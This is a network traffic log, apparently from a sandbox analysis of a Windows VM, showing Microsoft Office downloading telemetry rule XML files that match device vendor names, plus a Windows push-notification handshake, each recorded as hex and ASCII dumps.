2024-10-17 16:18:23 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: ff35c8d8-401e-0064-01d8-1e54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161823Z-15b8d89586fs9clcebkvq6f0sc00000003vg0000000001fe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:23 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 619deb8e-b01e-005c-5ed8-1e4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161823Z-16b659b4499v5jm96nrcwszga000000008q000000000bbsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:23 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 783e1ebc-401e-00ac-5ed8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161823Z-16b659b4499rgn6gzhcff90q8g00000009wg00000000rk2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:24 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: dd484488-801e-0035-08d8-1e752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161824Z-16b659b44992vd4bkk50pmnxt00000000btg00000000smz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:24 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:24 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: a7eb38d6-901e-005b-12d8-1e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161824Z-15b8d89586flspj6f2320qac9400000003qg00000000hrk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:24 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:24 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 51cf92de-b01e-0098-5cd8-1ecead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161824Z-r197bdfb6b4qz2jg69037h393n00000003g000000000mxa0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:24 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:24 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 68e1e18e-f01e-005d-01d8-1e13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161824Z-15b8d89586fvk4kme36hucfwyc00000002w0000000008hvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:24 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 20e65ee1-a01e-000d-7cd8-1ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161824Z-15b8d89586fs9clcebkvq6f0sc00000003rg000000007uv4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49745	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:25 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 36 32 43 75 33 4a 4f 77 4e 45 32 46 51 72 63 45 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 62 34 37 32 33 34 36 31 33 35 34 37 37 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 62Cu3JOwNE2FQrcE.1Context: d5b472346135477b
2024-10-17 16:18:25 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-17 16:18:25 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 36 32 43 75 33 4a 4f 77 4e 45 32 46 51 72 63 45 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 62 34 37 32 33 34 36 31 33 35 34 37 37 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 30 37 42 76 63 41 41 77 6c 2f 59 63 7a 2f 77 2b 75 46 53 30 33 66 59 67 35 44 69 31 63 62 4c 6a 51 52 68 69 6c 31 6f 46 78 6c 6c 74 6b 67 69 75 6f 71 6d 33 63 67 79 4a 35 47 66 53 74 39 62 36 38 2b 36 34 47 65 32 30 69 75 36 42 68 44 4e 57 49 45 47 52 77 72 54 68 4c 4a 56 30 33 62 32 73 63 70 4e 53 4c 69 4b 4c 34 62 72 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 62Cu3JOwNE2FQrcE.2Context: d5b472346135477b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAa07BvcAAwl/Ycz/w+uFS03fYg5Di1cbLjQRhil1oFxlltkgiuoqm3cgyJ5GfSt9b68+64Ge20iu6BhDNWIEGRwrThLJV03b2scpNSLiKL4brW
2024-10-17 16:18:25 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 36 32 43 75 33 4a 4f 77 4e 45 32 46 51 72 63 45 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 62 34 37 32 33 34 36 31 33 35 34 37 37 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 62Cu3JOwNE2FQrcE.3Context: d5b472346135477b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-17 16:18:25 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-17 16:18:25 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 55 30 76 53 74 42 36 4d 6a 6b 65 71 63 33 45 63 77 4a 53 42 39 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: U0vStB6Mjkeqc3EcwJSB9g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:25 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:25 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 90ca98f1-701e-001e-52d8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161825Z-16b659b44994gzgd4bz42hx7vg000000099g000000001aah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:25 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:25 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:25 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 10950230-501e-007b-4cd8-1e5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161825Z-16b659b4499rgn6gzhcff90q8g0000000a0000000000a7as x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
